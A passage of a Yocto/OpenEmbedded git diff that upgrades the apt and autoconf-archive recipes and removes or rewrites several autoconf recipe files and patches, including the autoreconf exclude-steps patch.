+-if(TARGET update-po AND TARGET update-po4a)
+-# Link update-po4a into the update-po target
+-add_dependencies(update-po update-po4a)
+-endif()
+-
+ # Create our directories.
+ install_empty_directories(
+ ${CONF_DIR}/apt.conf.d
diff --git a/meta/recipes-devtools/apt/apt_1.8.2.1.bb b/meta/recipes-devtools/apt/apt_1.8.2.1.bb
deleted file mode 100644
index bd1f4f39c3..0000000000
--- a/meta/recipes-devtools/apt/apt_1.8.2.1.bb
+++ /dev/null
@@ -1,106 +0,0 @@
-SUMMARY = "Advanced front-end for dpkg"
-LICENSE = "GPLv2.0+"
-SECTION = "base"
-
-# Triehash script taken from https://github.com/julian-klode/triehash
-SRC_URI = "${DEBIAN_MIRROR}/main/a/apt/${BPN}_${PV}.tar.xz \
- file://triehash \
- file://0001-Disable-documentation-directory-altogether.patch \
- file://0001-Fix-musl-build.patch \
- file://0001-CMakeLists.txt-avoid-changing-install-paths-based-on.patch \
- "
-
-SRC_URI_append_class-native = " \
- file://0001-Do-not-init-tables-from-dpkg-configuration.patch \
- file://0001-Revert-always-run-dpkg-configure-a-at-the-end-of-our.patch \
- file://0001-Do-not-configure-packages-on-installation.patch \
- "
-
-SRC_URI[sha256sum] = "6d447f2e9437ec24e78350b63bb0592bee1f050811d51990b0c783183b0983f8"
-LIC_FILES_CHKSUM = "file://COPYING.GPL;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-
-# the package is taken from snapshots.debian.org; that source is static and goes stale
-# so we check the latest upstream from a directory that does get updated
-UPSTREAM_CHECK_URI = "${DEBIAN_MIRROR}/main/a/apt/"
-
-inherit cmake perlnative bash-completion upstream-version-is-even
-
-BBCLASSEXTEND = "native"
-
-DEPENDS += "virtual/libiconv virtual/libintl db gnutls lz4 zlib bzip2 xz"
-
-EXTRA_OECMAKE_append = " -DCURRENT_VENDOR=debian -DWITH_DOC=False -DUSE_NLS=False -DDPKG_DATADIR=${datadir}/dpkg -DTRIEHASH_EXECUTABLE=${WORKDIR}/triehash"
-
-do_configure_prepend () {
- echo "set( CMAKE_FIND_ROOT_PATH_MODE_INCLUDE BOTH )" >> ${WORKDIR}/toolchain.cmake
-
-}
-
-# Unfortunately apt hardcodes this all over the place
-FILES_${PN} += "${prefix}/lib/dpkg ${prefix}/lib/apt"
-RDEPENDS_${PN} += "bash perl dpkg"
-
-do_install_append_class-native() {
- cat > ${D}${sysconfdir}/apt/apt.conf.sample << EOF
-Dir "${STAGING_DIR_NATIVE}/"
-{
- State "var/lib/apt/"
- {
- Lists "#APTCONF#/lists/";
- status "#ROOTFS#/var/lib/dpkg/status";
- };
- Cache "var/cache/apt/"
- {
- Archives "archives/";
- pkgcache "";
- srcpkgcache "";
- };
- Bin "${STAGING_BINDIR_NATIVE}/"
- {
- methods "${STAGING_LIBDIR}/apt/methods/";
- gzip "/bin/gzip";
- dpkg "dpkg";
- dpkg-source "dpkg-source";
- dpkg-buildpackage "dpkg-buildpackage";
- apt-get "apt-get";
- apt-cache "apt-cache";
- };
- Etc "#APTCONF#"
- {
- Preferences "preferences";
- };
- Log "var/log/apt";
-};
-
-APT
-{
- Install-Recommends "true";
- Immediate-Configure "false";
- Architecture "i586";
- Get
- {
- Assume-Yes "true";
- };
-};
-
-Acquire
-{
- AllowInsecureRepositories "true";
-};
-
-DPkg::Options {"--root=#ROOTFS#";"--admindir=#ROOTFS#/var/lib/dpkg";"--force-all";"--no-debsig"};
-DPkg::Path "";
-EOF
-}
-
-do_install_append_class-target() {
- #Write the correct apt-architecture to apt.conf
- APT_CONF=${D}/etc/apt/apt.conf
- echo 'APT::Architecture "${DPKG_ARCH}";' > ${APT_CONF}
-}
-
-# Avoid non-reproducible -src package
-do_install_append () {
- sed -i -e "s,${B},,g" \
- ${B}/apt-pkg/tagfile-keys.cc
-}
diff --git a/meta/recipes-devtools/apt/apt_2.6.1.bb b/meta/recipes-devtools/apt/apt_2.6.1.bb
new file mode 100644
index 0000000000..fb4ff899d2
--- /dev/null
+++ b/meta/recipes-devtools/apt/apt_2.6.1.bb
@@ -0,0 +1,142 @@
+SUMMARY = "Advanced front-end for dpkg"
+DESCRIPTION = "APT is the Advanced Package Tool, an advanced interface to the Debian packaging system which provides the apt-get program."
+HOMEPAGE = "https://packages.debian.org/sid/apt"
+LICENSE = "GPL-2.0-or-later"
+SECTION = "base"
+
+# Triehash script taken from https://github.com/julian-klode/triehash
+SRC_URI = "${DEBIAN_MIRROR}/main/a/apt/${BPN}_${PV}.tar.xz \
+ file://triehash \
+ file://0001-Disable-documentation-directory-altogether.patch \
+ file://0001-Fix-musl-build.patch \
+ file://0001-CMakeLists.txt-avoid-changing-install-paths-based-on.patch \
+ file://0001-cmake-Do-not-build-po-files.patch \
+ file://0001-Hide-fstatat64-and-prlimit64-defines-on-musl.patch \
+ file://0001-aptwebserver.cc-Include-array.patch \
+ file://0001-Remove-using-std-binary_function.patch \
+ "
+
+SRC_URI:append:class-native = " \
+ file://0001-Do-not-init-tables-from-dpkg-configuration.patch \
+ file://0001-Revert-always-run-dpkg-configure-a-at-the-end-of-our.patch \
+ "
+
+SRC_URI:append:class-nativesdk = " \
+ file://0001-Do-not-init-tables-from-dpkg-configuration.patch \
+ file://0001-Revert-always-run-dpkg-configure-a-at-the-end-of-our.patch \
+ "
+
+SRC_URI[sha256sum] = "86b888c901fa2e78f1bf52a2aaa2f400ff82a472b94ff0ac6631939ee68fa6fd"
+LIC_FILES_CHKSUM = "file://COPYING.GPL;md5=b234ee4d69f5fce4486a80fdaf4a4263"
+
+# the package is taken from snapshots.debian.org; that source is static and goes stale
+# so we check the latest upstream from a directory that does get updated
+UPSTREAM_CHECK_URI = "${DEBIAN_MIRROR}/main/a/apt/"
+# apt seems to follow a peculiar version policy, where every *other* even version
+# is considered stable, e.g. 1.0, 1.4, 1.8, 2.2, 2.6, etc. As there is no way
+# to express 'divisible by 4 plus 2' in regex (that I know of), let's hardcode a few.
+UPSTREAM_CHECK_REGEX = "[^\d\.](?P<pver>((2\.2)|(2\.6)|(3\.0)|(3\.4)|(3\.8)|(4\.2))(\.\d+)+)\.tar"
+
+inherit cmake perlnative bash-completion useradd
+
+# User is added to allow apt to drop privs, will runtime warn without
+USERADD_PACKAGES = "${PN}"
+USERADD_PARAM:${PN} = "--system --home /nonexistent --no-create-home _apt"
+
+BBCLASSEXTEND = "native nativesdk"
+
+DEPENDS += "db gnutls lz4 zlib bzip2 xz libgcrypt xxhash"
+
+EXTRA_OECMAKE:append = " -DCURRENT_VENDOR=debian -DWITH_DOC=False \
+ -DDPKG_DATADIR=${datadir}/dpkg \
+ -DTRIEHASH_EXECUTABLE=${WORKDIR}/triehash \
+ -DCMAKE_DISABLE_FIND_PACKAGE_ZSTD=True \
+ -DCMAKE_DISABLE_FIND_PACKAGE_SECCOMP=True \
+ -DWITH_TESTS=False \
+"
+
+do_configure:prepend() {
+ echo "set( CMAKE_FIND_ROOT_PATH_MODE_INCLUDE BOTH )" >> ${WORKDIR}/toolchain.cmake
+}
+
+# Unfortunately apt hardcodes this all over the place
+FILES:${PN} += "${prefix}/lib/dpkg ${prefix}/lib/apt"
+RDEPENDS:${PN} += "bash perl dpkg"
+
+customize_apt_conf_sample() {
+ cat > ${D}${sysconfdir}/apt/apt.conf.sample << EOF
+Dir "${STAGING_DIR_NATIVE}/"
+{
+ State "var/lib/apt/"
+ {
+ Lists "#APTCONF#/lists/";
+ status "#ROOTFS#/var/lib/dpkg/status";
+ };
+ Cache "var/cache/apt/"
+ {
+ Archives "archives/";
+ pkgcache "";
+ srcpkgcache "";
+ };
+ Bin "${STAGING_BINDIR_NATIVE}/"
+ {
+ methods "${STAGING_LIBDIR}/apt/methods/";
+ gzip "/bin/gzip";
+ dpkg "dpkg";
+ dpkg-source "dpkg-source";
+ dpkg-buildpackage "dpkg-buildpackage";
+ apt-get "apt-get";
+ apt-cache "apt-cache";
+ };
+ Etc "#APTCONF#"
+ {
+ Preferences "preferences";
+ };
+ Log "var/log/apt";
+};
+
+APT
+{
+ Install-Recommends "true";
+ Immediate-Configure "false";
+ Architecture "i586";
+ Get
+ {
+ Assume-Yes "true";
+ };
+};
+
+Acquire
+{
+ AllowInsecureRepositories "true";
+};
+
+DPkg::Options {"--root=#ROOTFS#";"--admindir=#ROOTFS#/var/lib/dpkg";"--force-all";"--no-debsig"};
+DPkg::Path "";
+EOF
+}
+
+do_install:append:class-native() {
+ customize_apt_conf_sample
+}
+
+do_install:append:class-nativesdk() {
+ customize_apt_conf_sample
+ rm -rf ${D}${localstatedir}/log
+}
+
+do_install:append:class-target() {
+ # Write the correct apt-architecture to apt.conf
+ APT_CONF=${D}${sysconfdir}/apt/apt.conf
+ echo 'APT::Architecture "${DPKG_ARCH}";' > ${APT_CONF}
+
+ # Remove /var/log/apt. /var/log is normally a link to /var/volatile/log
+ # and /var/volatile is a tmpfs mount. So anything created in /var/log
+ # will not be available when the tmpfs is mounted.
+ rm -rf ${D}${localstatedir}/log
+}
+
+do_install:append() {
+ # Avoid non-reproducible -src package
+ sed -i -e "s,${B}/include/,,g" ${B}/apt-pkg/tagfile-keys.cc
+}
diff --git a/meta/recipes-devtools/autoconf-archive/autoconf-archive_2019.01.06.bb b/meta/recipes-devtools/autoconf-archive/autoconf-archive_2019.01.06.bb
deleted file mode 100644
index 13593d7bb3..0000000000
--- a/meta/recipes-devtools/autoconf-archive/autoconf-archive_2019.01.06.bb
+++ /dev/null
@@ -1,18 +0,0 @@
-SUMMARY = "a collection of freely re-usable Autoconf macros"
-HOMEPAGE = "http://www.gnu.org/software/autoconf-archive/"
-SECTION = "devel"
-LICENSE = "GPL-3.0-with-autoconf-exception"
-LIC_FILES_CHKSUM = "file://COPYING;md5=11cc2d3ee574f9d6b7ee797bdce4d423 \
- file://COPYING.EXCEPTION;md5=fdef168ebff3bc2f13664c365a5fb515"
-
-SRC_URI = "${GNU_MIRROR}/${BPN}/${BPN}-${PV}.tar.xz"
-SRC_URI[md5sum] = "d46413c8b00a125b1529bae385bbec55"
-SRC_URI[sha256sum] = "17195c833098da79de5778ee90948f4c5d90ed1a0cf8391b4ab348e2ec511e3f"
-
-inherit autotools allarch texinfo
-
-PACKAGES = "${PN} ${PN}-doc"
-
-FILES_${PN} += "${datadir}/aclocal"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/autoconf-archive/autoconf-archive_2023.02.20.bb b/meta/recipes-devtools/autoconf-archive/autoconf-archive_2023.02.20.bb
new file mode 100644
index 0000000000..6ba7cdf3fe
--- /dev/null
+++ b/meta/recipes-devtools/autoconf-archive/autoconf-archive_2023.02.20.bb
@@ -0,0 +1,17 @@
+SUMMARY = "a collection of freely re-usable Autoconf macros"
+HOMEPAGE = "http://www.gnu.org/software/autoconf-archive/"
+SECTION = "devel"
+LICENSE = "GPL-3.0-with-autoconf-exception"
+LIC_FILES_CHKSUM = "file://COPYING;md5=11cc2d3ee574f9d6b7ee797bdce4d423 \
+ file://COPYING.EXCEPTION;md5=fdef168ebff3bc2f13664c365a5fb515"
+
+SRC_URI = "${GNU_MIRROR}/${BPN}/${BPN}-${PV}.tar.xz"
+SRC_URI[sha256sum] = "71d4048479ae28f1f5794619c3d72df9c01df49b1c628ef85fde37596dc31a33"
+
+inherit autotools allarch texinfo
+
+PACKAGES = "${PN} ${PN}-doc"
+
+FILES:${PN} += "${datadir}/aclocal"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/autoconf/autoconf.inc b/meta/recipes-devtools/autoconf/autoconf.inc
deleted file mode 100644
index 2c87bf8296..0000000000
--- a/meta/recipes-devtools/autoconf/autoconf.inc
+++ /dev/null
@@ -1,88 +0,0 @@
-SUMMARY = "A GNU tool that produce shell scripts to automatically configure software"
-DESCRIPTION = "Autoconf is an extensible package of M4 macros that produce shell scripts to automatically \
-configure software source code packages. Autoconf creates a configuration script for a package from a template \
-file that lists the operating system features that the package can use, in the form of M4 macro calls."
-LICENSE = "GPLv3"
-HOMEPAGE = "http://www.gnu.org/software/autoconf/"
-SECTION = "devel"
-DEPENDS += "m4-native"
-DEPENDS_class-native = "m4-native gnu-config-native"
-DEPENDS_class-nativesdk = "nativesdk-m4 nativesdk-gnu-config"
-RDEPENDS_${PN} = "m4 gnu-config \
- perl \
- perl-module-bytes \
- perl-module-carp \
- perl-module-constant \
- perl-module-data-dumper \
- perl-module-errno \
- perl-module-exporter \
- perl-module-file-basename \
- perl-module-file-compare \
- perl-module-file-copy \
- perl-module-file-find \
- perl-module-file-glob \
- perl-module-file-path \
- perl-module-file-spec \
- perl-module-file-spec-unix \
- perl-module-file-stat \
- perl-module-getopt-long \
- perl-module-io-file \
- perl-module-overloading \
- perl-module-posix \
- perl-module-symbol \
- perl-module-thread-queue \
- perl-module-threads \
- "
-RDEPENDS_${PN}_class-native = "m4-native gnu-config-native"
-RDEPENDS_${PN}_class-nativesdk = "\
- nativesdk-gnu-config \
- nativesdk-m4 \
- nativesdk-perl \
- nativesdk-perl-module-bytes \
- nativesdk-perl-module-carp \
- nativesdk-perl-module-constant \
- nativesdk-perl-module-data-dumper \
- nativesdk-perl-module-errno \
- nativesdk-perl-module-exporter \
- nativesdk-perl-module-file-basename \
- nativesdk-perl-module-file-compare \
- nativesdk-perl-module-file-copy \
- nativesdk-perl-module-file-find \
- nativesdk-perl-module-file-glob \
- nativesdk-perl-module-file-path \
- nativesdk-perl-module-file-spec \
- nativesdk-perl-module-file-spec-unix \
- nativesdk-perl-module-file-stat \
- nativesdk-perl-module-getopt-long \
- nativesdk-perl-module-io-file \
- nativesdk-perl-module-overloading \
- nativesdk-perl-module-posix \
- nativesdk-perl-module-symbol \
- nativesdk-perl-module-thread-queue \
- nativesdk-perl-module-threads \
- "
-
-
-
-SRC_URI = "${GNU_MIRROR}/autoconf/autoconf-${PV}.tar.gz \
- file://program_prefix.patch"
-
-inherit autotools texinfo
-
-PERL = "${USRBINPATH}/perl"
-PERL_class-native = "/usr/bin/env perl"
-PERL_class-nativesdk = "/usr/bin/env perl"
-
-CACHED_CONFIGUREVARS += "ac_cv_path_PERL='${PERL}'"
-
-do_configure() {
- # manually install a newer config.guess/.sub
- install -m 0755 ${STAGING_DATADIR_NATIVE}/gnu-config/config.guess ${S}/build-aux
- install -m 0755 ${STAGING_DATADIR_NATIVE}/gnu-config/config.sub ${S}/build-aux
-
- oe_runconf
-}
-
-do_install_append() {
- rm -rf ${D}${datadir}/emacs
-}
diff --git a/meta/recipes-devtools/autoconf/autoconf/AC_HEADER_MAJOR-port-to-glibc-2.25.patch b/meta/recipes-devtools/autoconf/autoconf/AC_HEADER_MAJOR-port-to-glibc-2.25.patch
deleted file mode 100644
index b2d7dc0e24..0000000000
--- a/meta/recipes-devtools/autoconf/autoconf/AC_HEADER_MAJOR-port-to-glibc-2.25.patch
+++ /dev/null
@@ -1,101 +0,0 @@
-From b859ab1b211d348b46eca9158b7742f050c8115e Mon Sep 17 00:00:00 2001
-From: Eric Blake <eblake@redhat.com>
-Date: Wed, 14 Sep 2016 08:17:06 -0500
-Subject: [PATCH] AC_HEADER_MAJOR: port to glibc 2.25
-
-glibc 2.25 is deprecating the namespace pollution of <sys/types.h>
-injecting major(), minor(), and makedev() into the compilation
-environment, with a warning that insists that users include
-<sys/sysmacros.h> instead. However, because the expansion of
-AC_HEADER_MAJOR didn't bother checking sys/sysmacros.h until
-after probing whether sys/types.h pollutes the namespace, it was
-not defining MAJOR_IN_SYSMACROS, with the result that code
-compiled with -Werror chokes on the deprecation warnings because
-it was not including sysmacros.h.
-
-In addition to fixing autoconf (which only benefits projects
-that rebuild configure after this fix is released), we can also
-give a hint to distros on how they can populate config.site with
-a cache variable to force pre-existing configure scripts without
-the updated macro to behave sanely in the presence of glibc 2.25
-(the documentation is especially useful since that cache variable
-is no longer present in autoconf after this patch).
-
-Note that mingw lacks major/minor/makedev in any of its standard
-headers; for that platform, the behavior of this macro is unchanged
-(code using the recommended include formula will get a compile error
-when trying to use major(), whether before or after this patch); but
-for now, it is assumed that programs actually concerned with
-creating devices are not worried about portability to mingw. If
-desired, a later patch could tighten AC_HEADER_MAJOR to fail at
-configure time if the macros are unavailable in any of the three
-system headers, but that semantic change is not worth mixing into
-this patch.
-
-* lib/autoconf/headers.m4 (AC_HEADER_MAJOR): Drop check for
-major within sys/types.h; it interferes with the need to check
-sysmacros.h first.
-
-Signed-off-by: Eric Blake <eblake@redhat.com>
-
-Remove the documentation change from the patch
-Upstream-Status: Backport
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- lib/autoconf/headers.m4 | 30 ++++++++++++++----------------
- 1 file changed, 14 insertions(+), 16 deletions(-)
-
-diff --git a/lib/autoconf/headers.m4 b/lib/autoconf/headers.m4
-index 81a7fa2..a57d0d3 100644
---- a/lib/autoconf/headers.m4
-+++ b/lib/autoconf/headers.m4
-@@ -502,31 +502,29 @@ fi
-
- # AC_HEADER_MAJOR
- # ---------------
-+# Thanks to glibc 2.25 deprecating macros in sys/types.h, coupled with
-+# back-compat to autoconf 2.69, we need the following logic:
-+# Check whether <sys/types.h> compiles.
-+# If <sys/mkdev.h> compiles, assume it provides major/minor/makedev.
-+# Otherwise, if <sys/sysmacros.h> compiles, assume it provides the macros.
-+# Otherwise, either the macros were provided by <sys/types.h>, or do
-+# not exist on the platform. Code trying to use these three macros is
-+# assumed to not care about platforms that lack the macros.
- AN_FUNCTION([major], [AC_HEADER_MAJOR])
- AN_FUNCTION([makedev], [AC_HEADER_MAJOR])
- AN_FUNCTION([minor], [AC_HEADER_MAJOR])
- AN_HEADER([sys/mkdev.h], [AC_HEADER_MAJOR])
- AC_DEFUN([AC_HEADER_MAJOR],
--[AC_CACHE_CHECK(whether sys/types.h defines makedev,
-- ac_cv_header_sys_types_h_makedev,
--[AC_LINK_IFELSE([AC_LANG_PROGRAM([[@%:@include <sys/types.h>]],
-- [[return makedev(0, 0);]])],
-- [ac_cv_header_sys_types_h_makedev=yes],
-- [ac_cv_header_sys_types_h_makedev=no])
--])
--
--if test $ac_cv_header_sys_types_h_makedev = no; then
-+[AC_CHECK_HEADERS_ONCE([sys/types.h])
- AC_CHECK_HEADER(sys/mkdev.h,
- [AC_DEFINE(MAJOR_IN_MKDEV, 1,
- [Define to 1 if `major', `minor', and `makedev' are
- declared in <mkdev.h>.])])
--
-- if test $ac_cv_header_sys_mkdev_h = no; then
-- AC_CHECK_HEADER(sys/sysmacros.h,
-- [AC_DEFINE(MAJOR_IN_SYSMACROS, 1,
-- [Define to 1 if `major', `minor', and `makedev'
-- are declared in <sysmacros.h>.])])
-- fi
-+if test $ac_cv_header_sys_mkdev_h = no; then
-+ AC_CHECK_HEADER(sys/sysmacros.h,
-+ [AC_DEFINE(MAJOR_IN_SYSMACROS, 1,
-+ [Define to 1 if `major', `minor', and `makedev'
-+ are declared in <sysmacros.h>.])])
- fi
- ])# AC_HEADER_MAJOR
-
---
-2.7.4
-
diff --git a/meta/recipes-devtools/autoconf/autoconf/add_musl_config.patch b/meta/recipes-devtools/autoconf/autoconf/add_musl_config.patch
deleted file mode 100644
index a9094d2128..0000000000
--- a/meta/recipes-devtools/autoconf/autoconf/add_musl_config.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-backport http://git.savannah.gnu.org/cgit/config.git/commit/config.sub?id=062587eaa891396c936555ae51f7e77eeb71a5fe
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Backport
-Index: autoconf-2.69/build-aux/config.sub
-===================================================================
---- autoconf-2.69.orig/build-aux/config.sub
-+++ autoconf-2.69/build-aux/config.sub
-@@ -123,7 +123,7 @@ esac
- maybe_os=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\2/'`
- case $maybe_os in
- nto-qnx* | linux-gnu* | linux-android* | linux-dietlibc | linux-newlib* | \
-- linux-uclibc* | uclinux-uclibc* | uclinux-gnu* | kfreebsd*-gnu* | \
-+ linux-musl* | linux-uclibc* | uclinux-uclibc* | uclinux-gnu* | kfreebsd*-gnu* | \
- knetbsd*-gnu* | netbsd*-gnu* | \
- kopensolaris*-gnu* | \
- storm-chaos* | os2-emx* | rtmk-nova*)
-@@ -1360,7 +1360,7 @@ case $os in
- | -chorusos* | -chorusrdb* | -cegcc* \
- | -cygwin* | -msys* | -pe* | -psos* | -moss* | -proelf* | -rtems* \
- | -mingw32* | -linux-gnu* | -linux-android* \
-- | -linux-newlib* | -linux-uclibc* \
-+ | -linux-newlib* | -linux-musl* | -linux-uclibc* \
- | -uxpv* | -beos* | -mpeix* | -udk* \
- | -interix* | -uwin* | -mks* | -rhapsody* | -darwin* | -opened* \
- | -openstep* | -oskit* | -conix* | -pw32* | -nonstopux* \
diff --git a/meta/recipes-devtools/autoconf/autoconf/autoconf-replace-w-option-in-shebangs-with-modern-use-warnings.patch b/meta/recipes-devtools/autoconf/autoconf/autoconf-replace-w-option-in-shebangs-with-modern-use-warnings.patch
deleted file mode 100644
index ae0e3825f6..0000000000
--- a/meta/recipes-devtools/autoconf/autoconf/autoconf-replace-w-option-in-shebangs-with-modern-use-warnings.patch
+++ /dev/null
@@ -1,120 +0,0 @@
-From 236552ff5b9f1ebf666d8d0e9850007dcce03d26 Mon Sep 17 00:00:00 2001
-From: Serhii Popovych <spopovyc@cisco.com>
-Date: Wed, 10 Feb 2016 16:32:44 +0000
-Subject: [PATCH] perl: Replace -w option in shebangs with modern "use
- warnings"
-
-In some builds we might provide ac_cv_path_PERL as /usr/bin/env perl
-to use newer version of the perl from users PATH rather than
-older from standard system path.
-
-However using /usr/bin/env perl -w from shebang line isn't
-possible because it translates to something like
-/usr/bin/env -w perl and env complains about illegal option.
-
-To address this we can remove -w option from perl shebang
-line and add "use warnings" statement.
-
-Upstream-Status: Pending
-Signed-off-by: Serhii Popovych <spopovyc@cisco.com>
----
- bin/autom4te.in | 3 ++-
- bin/autoreconf.in | 3 ++-
- bin/autoscan.in | 3 ++-
- bin/autoupdate.in | 3 ++-
- bin/ifnames.in | 3 ++-
- 5 files changed, 10 insertions(+), 5 deletions(-)
-
-diff --git a/bin/autom4te.in b/bin/autom4te.in
-index 11773c9..a8f5e41 100644
---- a/bin/autom4te.in
-+++ b/bin/autom4te.in
-@@ -1,4 +1,4 @@
--#! @PERL@ -w
-+#! @PERL@
- # -*- perl -*-
- # @configure_input@
-
-@@ -42,6 +42,7 @@ use Autom4te::General;
- use Autom4te::XFile;
- use File::Basename;
- use strict;
-+use warnings;
-
- # Data directory.
- my $pkgdatadir = $ENV{'AC_MACRODIR'} || '@pkgdatadir@';
-diff --git a/bin/autoreconf.in b/bin/autoreconf.in
-index e245db4..1a318cb 100644
---- a/bin/autoreconf.in
-+++ b/bin/autoreconf.in
-@@ -1,4 +1,4 @@
--#! @PERL@ -w
-+#! @PERL@
- # -*- perl -*-
- # @configure_input@
-
-@@ -45,6 +45,7 @@ use Autom4te::XFile;
- # Do not use Cwd::chdir, since it might hang.
- use Cwd 'cwd';
- use strict;
-+use warnings;
-
- ## ----------- ##
- ## Variables. ##
-diff --git a/bin/autoscan.in b/bin/autoscan.in
-index a67c48d..b931249 100644
---- a/bin/autoscan.in
-+++ b/bin/autoscan.in
-@@ -1,4 +1,4 @@
--#! @PERL@ -w
-+#! @PERL@
- # -*- perl -*-
- # @configure_input@
-
-@@ -43,6 +43,7 @@ use Autom4te::XFile;
- use File::Basename;
- use File::Find;
- use strict;
-+use warnings;
-
- use vars qw(@cfiles @makefiles @shfiles @subdirs %printed);
-
-diff --git a/bin/autoupdate.in b/bin/autoupdate.in
-index 9737d49..92cb147 100644
---- a/bin/autoupdate.in
-+++ b/bin/autoupdate.in
-@@ -1,4 +1,4 @@
--#! @PERL@ -w
-+#! @PERL@
- # -*- perl -*-
- # @configure_input@
-
-@@ -44,6 +44,7 @@ use Autom4te::General;
- use Autom4te::XFile;
- use File::Basename;
- use strict;
-+use warnings;
-
- # Lib files.
- my $autom4te = $ENV{'AUTOM4TE'} || '@bindir@/@autom4te-name@';
-diff --git a/bin/ifnames.in b/bin/ifnames.in
-index ba2cd05..74b0278 100644
---- a/bin/ifnames.in
-+++ b/bin/ifnames.in
-@@ -1,4 +1,4 @@
--#! @PERL@ -w
-+#! @PERL@
- # -*- perl -*-
- # @configure_input@
-
-@@ -44,6 +44,7 @@ BEGIN
- use Autom4te::General;
- use Autom4te::XFile;
- use Autom4te::FileUtils;
-+use warnings;
-
- # $HELP
- # -----
---
-2.3.0
-
diff --git a/meta/recipes-devtools/autoconf/autoconf/autoreconf-exclude.patch b/meta/recipes-devtools/autoconf/autoconf/autoreconf-exclude.patch
index d1bd3a2a31..2814196200 100644
--- a/meta/recipes-devtools/autoconf/autoconf/autoreconf-exclude.patch
+++ b/meta/recipes-devtools/autoconf/autoconf/autoreconf-exclude.patch
@@ -1,18 +1,27 @@
-Upstream-Status: Pending
+From 1a50157aa11da48921200a0d8d4308863716eab0 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@intel.com>
+Date: Thu, 12 Mar 2020 17:25:23 +0000
+Subject: [PATCH] autoreconf-exclude.patch
-Index: autoconf-2.63/bin/autoreconf.in
-===================================================================
---- autoconf-2.63.orig/bin/autoreconf.in 2008-12-31 17:39:01.000000000 +0000
-+++ autoconf-2.63/bin/autoreconf.in 2008-12-31 17:43:38.000000000 +0000
-@@ -76,6 +76,7 @@
- -i, --install copy missing auxiliary files
+Upstream-Status: Inappropriate [oe specific]
+
+---
+ bin/autoreconf.in | 26 ++++++++++++++++++++++++++
+ 1 file changed, 26 insertions(+)
+
+diff --git a/bin/autoreconf.in b/bin/autoreconf.in
+index 98ebab6..937f758 100644
+--- a/bin/autoreconf.in
++++ b/bin/autoreconf.in
+@@ -83,6 +83,7 @@ Operation modes:
+ -i, --install copy missing standard auxiliary files
--no-recursive don't rebuild sub-packages
-s, --symlink with -i, install symbolic links instead of copies
+ -x, --exclude=STEPS steps we should not run
-m, --make when applicable, re-run ./configure && make
- -W, --warnings=CATEGORY report the warnings falling in CATEGORY [syntax]
-
-@@ -136,6 +137,13 @@
+ -W, --warnings=CATEGORY report the warnings falling in CATEGORY
+ (comma-separated list accepted)
+@@ -141,6 +142,10 @@ my $run_make = 0;
# Recurse into subpackages
my $recursive = 1;
@@ -20,13 +29,10 @@ Index: autoconf-2.63/bin/autoreconf.in
+my @exclude;
+my @ex;
+
-+my $uses_gettext;
-+my $configure_ac;
-+
## ---------- ##
## Routines. ##
## ---------- ##
-@@ -153,6 +161,7 @@
+@@ -161,6 +166,7 @@ sub parse_args ()
'B|prepend-include=s' => \@prepend_include,
'i|install' => \$install,
's|symlink' => \$symlink,
@@ -34,106 +40,82 @@ Index: autoconf-2.63/bin/autoreconf.in
'm|make' => \$run_make,
'recursive!' => \$recursive);
-@@ -162,6 +171,8 @@
+@@ -170,6 +176,8 @@ sub parse_args ()
parse_WARNINGS;
- parse_warnings '--warnings', @warning;
+ parse_warnings @warning;
+ @exclude = map { split /,/ } @exclude;
+
# Even if the user specified a configure.ac, trim to get the
# directory, and look for configure.ac again. Because (i) the code
# is simpler, and (ii) we are still able to diagnose simultaneous
-@@ -255,6 +266,11 @@
- {
- my ($aclocal, $flags) = @_;
-
-+ @ex = grep (/^aclocal$/, @exclude);
-+ if ($#ex != -1) {
-+ return;
-+ }
-+
- # aclocal 1.8+ does all this for free. It can be recognized by its
- # --force support.
- if ($aclocal_supports_force)
-@@ -368,7 +384,10 @@
+@@ -493,8 +501,11 @@ sub autoreconf_current_directory ($)
}
else
{
-- xsystem_hint ("autopoint is needed because this package uses Gettext", "$autopoint");
+ @ex = grep (/^autopoint$/, @exclude);
+ if ($#ex == -1) {
-+ xsystem_hint ("autopoint is needed because this package uses Gettext", "$autopoint");
+ xsystem_hint ("autopoint is needed because this package uses Gettext",
+ $autopoint);
+ }
}
-@@ -532,16 +551,17 @@
+@@ -691,9 +702,12 @@ sub autoreconf_current_directory ($)
{
$libtoolize .= " --ltdl";
}
-- xsystem_hint ("libtoolize is needed because this package uses Libtool", $libtoolize);
-- $rerun_aclocal = 1;
+ @ex = grep (/^libtoolize$/, @exclude);
+ if ($#ex == -1) {
-+ xsystem_hint ("libtoolize is needed because this package uses Libtool", $libtoolize);
-+ $rerun_aclocal = 1;
+ xsystem_hint ("libtoolize is needed because this package uses Libtool",
+ $libtoolize);
+ $rerun_aclocal = 1;
+ }
}
else
{
- verb "$configure_ac: not running libtoolize: --install not given";
+@@ -730,8 +744,11 @@ sub autoreconf_current_directory ($)
}
-
--
--
- # ------------------- #
- # Rerunning aclocal. #
- # ------------------- #
-@@ -572,7 +592,10 @@
+ elsif ($install)
+ {
++ @ex = grep (/^gtkdocize$/, @exclude);
++ if ($#ex == -1) {
+ xsystem_hint ("gtkdocize is needed because this package uses Gtkdoc",
+ $gtkdocize);
++ }
+ }
+ else
+ {
+@@ -769,7 +786,10 @@ sub autoreconf_current_directory ($)
# latter runs the former, and (ii) autoconf is stricter than
# autoheader. So all in all, autoconf should give better error
# messages.
-- xsystem ($autoconf);
+ @ex = grep (/^autoconf$/, @exclude);
+ if ($#ex == -1) {
-+ xsystem ("$autoconf");
+ xsystem ($autoconf);
+ }
# -------------------- #
-@@ -593,7 +616,10 @@
+@@ -790,7 +810,10 @@ sub autoreconf_current_directory ($)
}
else
{
-- xsystem ($autoheader);
+ @ex = grep (/^autoheader$/, @exclude);
+ if ($#ex == -1) {
-+ xsystem ("$autoheader");
+ xsystem ($autoheader);
+ }
}
-@@ -610,7 +636,10 @@
+@@ -807,7 +830,10 @@ sub autoreconf_current_directory ($)
# We should always run automake, and let it decide whether it shall
- # update the file or not. In fact, the effect of `$force' is already
- # included in `$automake' via `--no-force'.
-- xsystem ($automake);
